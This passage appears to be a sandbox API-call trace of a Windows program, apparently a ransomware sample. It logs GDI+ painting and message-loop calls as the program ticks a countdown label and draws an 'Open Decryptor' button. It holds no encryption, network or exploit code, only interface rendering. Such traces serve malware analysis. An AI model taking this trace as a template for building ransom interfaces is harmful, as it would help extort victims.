lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0160.591] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0160.591] WaitMessage () returned 1 [0161.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0161.580] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.580] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.580] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0161.580] GetSystemMetrics (nIndex=42) returned 0 [0161.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:02") returned 8 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0161.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0161.580] GetSystemMetrics (nIndex=42) returned 0 [0161.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:02") returned 8 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0161.580] SetWindowTextW (hWnd=0x20236, lpString="06:58:03") returned 1 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3032234) returned 0x1 [0161.580] GetStockObject (i=5) returned 0x900015 [0161.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0161.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0161.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0161.580] GetSystemMetrics (nIndex=42) returned 0 [0161.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:03") returned 8 [0161.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0161.581] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0161.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0161.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:03", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3032408 | out: lpchText="06:58:03", lprc=0x19e938) returned 50 [0161.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0161.581] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0161.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.581] GetSystemMetrics (nIndex=42) returned 0 [0161.581] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0161.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0161.582] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.582] IsWindowUnicode (hWnd=0x20236) returned 1 [0161.582] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.582] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.582] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0161.582] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.582] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x9010727 [0161.582] SelectObject (hdc=0x9010727, h=0x8050721) returned 0x85000f [0161.582] GdipCreateFromHDC (hdc=0x9010727, graphics=0x19e8e4) returned 0x0 [0161.582] GdipTranslateWorldTransform (graphics=0x691c530, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0161.582] GdipSetClipRectI (graphics=0x691c530, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0161.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0161.582] GdipGetWorldTransform (graphics=0x691c530, matrix=0x691edb8) returned 0x0 [0161.582] GdipIsMatrixIdentity (matrix=0x691edb8, result=0x19e944) returned 0x0 [0161.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0161.583] GdipGetMatrixElements (matrix=0x691edb8, matrixOut=0xf75bb0) returned 0x0 [0161.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0161.583] GdipDeleteMatrix (matrix=0x691edb8) returned 0x0 [0161.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0161.583] GdipGetClip (graphics=0x691c530, region=0x691c810) returned 0x0 [0161.583] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e938) returned 0x0 [0161.583] GdipSaveGraphics (graphics=0x691c530, state=0x19e964) returned 0x0 [0161.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0161.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0161.583] GetSystemMetrics (nIndex=42) returned 0 [0161.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:03") returned 8 [0161.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0161.583] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0161.583] GdipCreateRegion (region=0x19e780) returned 0x0 [0161.583] GdipGetClip (graphics=0x691c530, region=0x691cb00) returned 0x0 [0161.583] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0161.583] GdipGetWorldTransform (graphics=0x691c530, matrix=0x6915f08) returned 0x0 [0161.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0161.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0161.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0161.583] LocalFree (hMem=0xf75be8) returned 0x0 [0161.583] GdipCombineRegionRegion (region=0x691cb00, region2=0x691c810, combineMode=0x1) returned 0x0 [0161.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0161.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0161.583] LocalFree (hMem=0xf75c20) returned 0x0 [0161.584] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0161.584] GdipIsInfiniteRegion (region=0x691cb00, graphics=0x691c530, result=0x19e7c0) returned 0x0 [0161.584] GdipIsInfiniteRegion (region=0x691cb00, graphics=0x691c530, result=0x19e7b0) returned 0x0 [0161.584] GdipGetRegionHRgn (region=0x691cb00, graphics=0x691c530, hRgn=0x19e7b0) returned 0x0 [0161.584] GdipDeleteRegion (region=0x691cb00) returned 0x0 [0161.584] GdipGetDC (graphics=0x691c530, hdc=0x19e7c8) returned 0x0 [0161.584] GetCurrentObject (hdc=0x9010727, type=0x1) returned 0xb00017 [0161.584] GetCurrentObject (hdc=0x9010727, type=0x2) returned 0x900010 [0161.584] GetCurrentObject (hdc=0x9010727, type=0x7) returned 0x8050721 [0161.584] GetCurrentObject (hdc=0x9010727, type=0x6) returned 0x8a01c2 [0161.584] SaveDC (hdc=0x9010727) returned 1 [0161.584] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6b0406f7 [0161.584] GetClipRgn (hdc=0x9010727, hrgn=0x6b0406f7) returned 0 [0161.584] SelectClipRgn (hdc=0x9010727, hrgn=0xd40406fe) returned 2 [0161.584] DeleteObject (ho=0x6b0406f7) returned 1 [0161.584] DeleteObject (ho=0xd40406fe) returned 1 [0161.584] OffsetViewportOrgEx (in: hdc=0x9010727, x=0, y=0, lppt=0x30327d8 | out: lppt=0x30327d8) returned 1 [0161.584] GetNearestColor (hdc=0x9010727, color=0x22a3f8) returned 0x22a3f8 [0161.584] CreateSolidBrush (color=0x22a3f8) returned 0x1210073a [0161.584] FillRect (hDC=0x9010727, lprc=0x19e7cc, hbr=0x1210073a) returned 1 [0161.584] DeleteObject (ho=0x1210073a) returned 1 [0161.585] RestoreDC (hdc=0x9010727, nSavedDC=-1) returned 1 [0161.585] GdipReleaseDC (graphics=0x691c530, hdc=0x9010727) returned 0x0 [0161.585] GdipRestoreGraphics (graphics=0x691c530, state=0xfd520dbd) returned 0x0 [0161.585] GdipDeleteRegion (region=0x691c810) returned 0x0 [0161.585] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0161.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0161.585] GetSystemMetrics (nIndex=42) returned 0 [0161.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:03") returned 8 [0161.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0161.585] GdipGetDC (graphics=0x691c530, hdc=0x19e7e8) returned 0x0 [0161.585] GetCurrentObject (hdc=0x9010727, type=0x1) returned 0xb00017 [0161.585] GetCurrentObject (hdc=0x9010727, type=0x2) returned 0x900010 [0161.585] GetCurrentObject (hdc=0x9010727, type=0x7) returned 0x8050721 [0161.585] GetCurrentObject (hdc=0x9010727, type=0x6) returned 0x8a01c2 [0161.585] SaveDC (hdc=0x9010727) returned 1 [0161.585] GetNearestColor (hdc=0x9010727, color=0x0) returned 0x0 [0161.585] RestoreDC (hdc=0x9010727, nSavedDC=-1) returned 1 [0161.585] GdipReleaseDC (graphics=0x691c530, hdc=0x9010727) returned 0x0 [0161.586] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.586] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0161.586] GdipGetTextRenderingHint (graphics=0x691c530, mode=0x19e788) returned 0x0 [0161.586] GdipGetDC (graphics=0x691c530, hdc=0x19e774) returned 0x0 [0161.586] GetCurrentObject (hdc=0x9010727, type=0x1) returned 0xb00017 [0161.586] GetCurrentObject (hdc=0x9010727, type=0x2) returned 0x900010 [0161.586] GetCurrentObject (hdc=0x9010727, type=0x7) returned 0x8050721 [0161.586] GetCurrentObject (hdc=0x9010727, type=0x6) returned 0x8a01c2 [0161.586] SaveDC (hdc=0x9010727) returned 1 [0161.586] GetTextAlign (hdc=0x9010727) returned 0x0 [0161.586] GetTextColor (hdc=0x9010727) returned 0x0 [0161.586] GetCurrentObject (hdc=0x9010727, type=0x6) returned 0x8a01c2 [0161.586] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0161.586] SelectObject (hdc=0x9010727, h=0x4f0a0711) returned 0x8a01c2 [0161.586] GetBkMode (hdc=0x9010727) returned 2 [0161.586] SetBkMode (hdc=0x9010727, mode=1) returned 2 [0161.586] DrawTextExW (in: hdc=0x9010727, lpchText="06:58:03", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3032c6c | out: lpchText="06:58:03", lprc=0x19e708) returned 50 [0161.587] RestoreDC (hdc=0x9010727, nSavedDC=-1) returned 1 [0161.587] GdipReleaseDC (graphics=0x691c530, hdc=0x9010727) returned 0x0 [0161.587] GdipGetDC (graphics=0x691c530, hdc=0x19e924) returned 0x0 [0161.587] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x9010727, x1=0, y1=0, rop=0xcc0020) returned 1 [0161.588] GdipReleaseDC (graphics=0x691c530, hdc=0x9010727) returned 0x0 [0161.588] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.588] SelectObject (hdc=0x9010727, h=0x85000f) returned 0x8050721 [0161.588] DeleteDC (hdc=0x9010727) returned 1 [0161.588] GdipDeleteGraphics (graphics=0x691c530) returned 0x0 [0161.588] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0161.588] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0161.588] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0161.588] WaitMessage () returned 1 [0161.594] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.594] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24a0178) returned 0x1 [0161.594] IsWindowUnicode (hWnd=0x30212) returned 1 [0161.594] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.594] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24a0178) returned 0x1 [0161.594] SetCursor (hCursor=0x10003) returned 0x10003 [0161.595] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.595] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.595] GetKeyState (nVirtKey=1) returned 0 [0161.595] GetKeyState (nVirtKey=2) returned 0 [0161.595] GetKeyState (nVirtKey=4) returned 0 [0161.595] GetKeyState (nVirtKey=5) returned 0 [0161.595] GetKeyState (nVirtKey=6) returned 0 [0161.595] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0161.595] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0161.595] WaitMessage () returned 1 [0161.674] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.674] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24a0178) returned 0x1 [0161.674] IsWindowUnicode (hWnd=0x30212) returned 1 [0161.674] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.674] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24a0178) returned 0x1 [0161.674] GetDlgItem (hDlg=0x8004e, nIDDlgItem=0) returned 0x0 [0161.675] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0x201, lParam=0x1520047) returned 0x0 [0161.675] GetDlgItem (hDlg=0x1023e, nIDDlgItem=0) returned 0x0 [0161.675] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x210, wParam=0x201, lParam=0x1b10047) returned 0x0 [0161.675] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0161.675] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0161.675] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x21, wParam=0x1023e, lParam=0x2010001) returned 0x1 [0161.675] SetCursor (hCursor=0x10003) returned 0x10003 [0161.675] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.675] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.675] GetKeyState (nVirtKey=1) returned -127 [0161.675] GetKeyState (nVirtKey=2) returned 0 [0161.675] GetKeyState (nVirtKey=4) returned 0 [0161.675] GetKeyState (nVirtKey=5) returned 0 [0161.675] GetKeyState (nVirtKey=6) returned 0 [0161.675] IsWindowVisible (hWnd=0x30212) returned 1 [0161.675] IsWindowEnabled (hWnd=0x30212) returned 1 [0161.675] SetFocus (hWnd=0x30212) returned 0x30212 [0161.675] GetFocus () returned 0x30212 [0161.675] GetFocus () returned 0x30212 [0161.675] GetFocus () returned 0x30212 [0161.675] GetKeyState (nVirtKey=1) returned -127 [0161.675] GetKeyState (nVirtKey=2) returned 0 [0161.676] GetKeyState (nVirtKey=4) returned 0 [0161.676] GetKeyState (nVirtKey=5) returned 0 [0161.676] GetKeyState (nVirtKey=6) returned 0 [0161.676] GetCapture () returned 0x0 [0161.676] SetCapture (hWnd=0x30212) returned 0x0 [0161.676] GetKeyState (nVirtKey=1) returned -127 [0161.676] GetKeyState (nVirtKey=2) returned 0 [0161.676] GetKeyState (nVirtKey=4) returned 0 [0161.676] GetKeyState (nVirtKey=5) returned 0 [0161.676] GetKeyState (nVirtKey=6) returned 0 [0161.676] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0161.676] InvalidateRect (hWnd=0x30212, lpRect=0x19eaa0, bErase=0) returned 1 [0161.676] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.676] IsWindowUnicode (hWnd=0x30212) returned 1 [0161.676] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0161.676] TranslateMessage (lpMsg=0x19ee78) returned 0 [0161.676] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0161.676] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3032d4c, cPoints=0x1 | out: lpPoints=0x3032d4c) returned 36176186 [0161.676] NotifyWinEvent (event=0x800a, hwnd=0x30212, idObject=-4, idChild=0) [0161.676] InvalidateRect (hWnd=0x30212, lpRect=0x19ea40, bErase=0) returned 1 [0161.676] UpdateWindow (hWnd=0x30212) returned 1 [0161.676] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e558 | out: lpPaint=0x19e558) returned 0x1b010670 [0161.676] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0161.676] CreateCompatibleDC (hdc=0x1b010670) returned 0xa010727 [0161.677] SelectObject (hdc=0xa010727, h=0x8050721) returned 0x85000f [0161.677] GdipCreateFromHDC (hdc=0xa010727, graphics=0x19e570) returned 0x0 [0161.677] GdipTranslateWorldTransform (graphics=0x691c530, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0161.677] GdipSetClipRectI (graphics=0x691c530, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0161.677] GdipCreateMatrix (matrix=0x19e5b8) returned 0x0 [0161.677] GdipGetWorldTransform (graphics=0x691c530, matrix=0x691edb8) returned 0x0 [0161.677] GdipIsMatrixIdentity (matrix=0x691edb8, result=0x19e5d0) returned 0x0 [0161.677] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0161.677] GdipGetMatrixElements (matrix=0x691edb8, matrixOut=0xf75be8) returned 0x0 [0161.677] LocalFree (hMem=0xf75be8) returned 0x0 [0161.677] GdipDeleteMatrix (matrix=0x691edb8) returned 0x0 [0161.677] GdipCreateRegion (region=0x19e5b8) returned 0x0 [0161.677] GdipGetClip (graphics=0x691c530, region=0x691c810) returned 0x0 [0161.677] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e5c4) returned 0x0 [0161.677] GdipSaveGraphics (graphics=0x691c530, state=0x19e5f0) returned 0x0 [0161.677] GdipRestoreGraphics (graphics=0x691c530, state=0xfd500dbd) returned 0x0 [0161.677] GdipDeleteRegion (region=0x691c810) returned 0x0 [0161.677] GdipGetDC (graphics=0x691c530, hdc=0x19e3a0) returned 0x0 [0161.677] GetCurrentObject (hdc=0xa010727, type=0x1) returned 0xb00017 [0161.677] GetCurrentObject (hdc=0xa010727, type=0x2) returned 0x900010 [0161.677] GetCurrentObject (hdc=0xa010727, type=0x7) returned 0x8050721 [0161.677] GetCurrentObject (hdc=0xa010727, type=0x6) returned 0x8a01c2 [0161.678] SaveDC (hdc=0xa010727) returned 1 [0161.678] GetNearestColor (hdc=0xa010727, color=0x323533) returned 0x323533 [0161.678] GetNearestColor (hdc=0xa010727, color=0x111111) returned 0x111111 [0161.678] GetNearestColor (hdc=0xa010727, color=0x0) returned 0x0 [0161.678] GetNearestColor (hdc=0xa010727, color=0x868c88) returned 0x868c88 [0161.678] GetNearestColor (hdc=0xa010727, color=0x6994f5) returned 0x6994f5 [0161.678] GetNearestColor (hdc=0xa010727, color=0x969c98) returned 0x969c98 [0161.678] GetNearestColor (hdc=0xa010727, color=0x868c88) returned 0x868c88 [0161.678] GetNearestColor (hdc=0xa010727, color=0x3c3f3d) returned 0x3c3f3d [0161.678] GetNearestColor (hdc=0xa010727, color=0x6994f5) returned 0x6994f5 [0161.678] RestoreDC (hdc=0xa010727, nSavedDC=-1) returned 1 [0161.678] GdipReleaseDC (graphics=0x691c530, hdc=0xa010727) returned 0x0 [0161.678] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x4f0a0711 [0161.678] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e25c, format=0x102415, lpdtp=0x3033238 | out: lpchText="Open Decryptor", lprc=0x19e25c) returned 60 [0161.678] GdipCreateRegion (region=0x19e2e4) returned 0x0 [0161.679] GdipGetClip (graphics=0x691c530, region=0x691c810) returned 0x0 [0161.679] GdipCreateMatrix (matrix=0x19e2e4) returned 0x0 [0161.679] GdipGetWorldTransform (graphics=0x691c530, matrix=0x6915f08) returned 0x0 [0161.679] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e2fc) returned 0x0 [0161.679] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0161.679] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0161.679] LocalFree (hMem=0xf75bb0) returned 0x0 [0161.679] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0161.679] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0161.679] LocalFree (hMem=0xf75bb0) returned 0x0 [0161.679] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0161.679] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e324) returned 0x0 [0161.679] GdipIsInfiniteRegion (region=0x691c810, graphics=0x691c530, result=0x19e314) returned 0x0 [0161.679] GdipGetRegionHRgn (region=0x691c810, graphics=0x691c530, hRgn=0x19e314) returned 0x0 [0161.679] GdipDeleteRegion (region=0x691c810) returned 0x0 [0161.679] GdipGetDC (graphics=0x691c530, hdc=0x19e32c) returned 0x0 [0161.679] GetCurrentObject (hdc=0xa010727, type=0x1) returned 0xb00017 [0161.679] GetCurrentObject (hdc=0xa010727, type=0x2) returned 0x900010 [0161.679] GetCurrentObject (hdc=0xa010727, type=0x7) returned 0x8050721 [0161.679] GetCurrentObject (hdc=0xa010727, type=0x6) returned 0x8a01c2 [0161.679] SaveDC (hdc=0xa010727) returned 1 [0161.679] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xd50406fe [0161.679] GetClipRgn (hdc=0xa010727, hrgn=0xd50406fe) returned 0 [0161.679] SelectClipRgn (hdc=0xa010727, hrgn=0x6e0406f7) returned 2 [0161.679] DeleteObject (ho=0xd50406fe) returned 1 [0161.680] DeleteObject (ho=0x6e0406f7) returned 1 [0161.680] OffsetViewportOrgEx (in: hdc=0xa010727, x=0, y=0, lppt=0x3033428 | out: lppt=0x3033428) returned 1 [0161.680] GetNearestColor (hdc=0xa010727, color=0x3c3f3d) returned 0x3c3f3d [0161.680] CreateSolidBrush (color=0x3c3f3d) returned 0x1310073a [0161.680] FillRect (hDC=0xa010727, lprc=0x19e330, hbr=0x1310073a) returned 1 [0161.680] DeleteObject (ho=0x1310073a) returned 1 [0161.680] RestoreDC (hdc=0xa010727, nSavedDC=-1) returned 1 [0161.680] GdipReleaseDC (graphics=0x691c530, hdc=0xa010727) returned 0x0 [0161.680] GdipGetTextRenderingHint (graphics=0x691c530, mode=0x19e3a8) returned 0x0 [0161.680] GdipGetDC (graphics=0x691c530, hdc=0x19e394) returned 0x0 [0161.680] GetCurrentObject (hdc=0xa010727, type=0x1) returned 0xb00017 [0161.680] GetCurrentObject (hdc=0xa010727, type=0x2) returned 0x900010 [0161.680] GetCurrentObject (hdc=0xa010727, type=0x7) returned 0x8050721 [0161.680] GetCurrentObject (hdc=0xa010727, type=0x6) returned 0x8a01c2 [0161.680] SaveDC (hdc=0xa010727) returned 1 [0161.680] GetTextAlign (hdc=0xa010727) returned 0x0 [0161.680] GetTextColor (hdc=0xa010727) returned 0x0 [0161.680] SetTextColor (hdc=0xa010727, color=0x6994f5) returned 0x0 [0161.680] GetCurrentObject (hdc=0xa010727, type=0x6) returned 0x8a01c2 [0161.680] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e0dc | out: pv=0x19e0dc) returned 92 [0161.680] SelectObject (hdc=0xa010727, h=0x110a0722) returned 0x8a01c2 [0161.680] GetBkMode (hdc=0xa010727) returned 2 [0161.681] SetBkMode (hdc=0xa010727, mode=1) returned 2 [0161.681] DrawTextExW (in: hdc=0xa010727, lpchText="Open Decryptor", cchText=14, lprc=0x19e1c4, format=0x102415, lpdtp=0x30336e4 | out: lpchText="Open Decryptor", lprc=0x19e1c4) returned 60 [0161.681] DrawTextExW (in: hdc=0xa010727, lpchText="Open Decryptor", cchText=14, lprc=0x19e328, format=0x102015, lpdtp=0x30336e4 | out: lpchText="Open Decryptor", lprc=0x19e328) returned 60 [0161.693] RestoreDC (hdc=0xa010727, nSavedDC=-1) returned 1 [0161.693] GdipReleaseDC (graphics=0x691c530, hdc=0xa010727) returned 0x0 [0161.693] GetFocus () returned 0x30212 [0161.693] GetFocus () returned 0x30212 [0161.693] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e42c) returned 0x0 [0161.693] GdipDrawRectangleI (graphics=0x691c530, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0161.693] GdipDeletePen (pen=0x6915e78) returned 0x0 [0161.693] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e410) returned 0x0 [0161.693] GdipDrawRectangleI (graphics=0x691c530, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0161.693] GdipDeletePen (pen=0x6915e78) returned 0x0 [0161.694] GdipGetDC (graphics=0x691c530, hdc=0x19e5b0) returned 0x0 [0161.694] BitBlt (hdc=0x1b010670, x=0, y=0, cx=178, cy=111, hdcSrc=0xa010727, x1=0, y1=0, rop=0xcc0020) returned 1 [0161.694] GdipReleaseDC (graphics=0x691c530, hdc=0xa010727) returned 0x0 [0161.694] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0161.694] SelectObject (hdc=0xa010727, h=0x85000f) returned 0x8050721 [0161.694] DeleteDC (hdc=0xa010727) returned 1 [0161.694] GdipDeleteGraphics (graphics=0x691c530) returned 0x0 [0161.694] EndPaint (hWnd=0x30212, lpPaint=0x19e554) returned 1 [0161.694] MapWindowPoints (in: hWndFrom=0x30212, hWndTo=0x0, lpPoints=0x3033768, cPoints=0x1 | out: 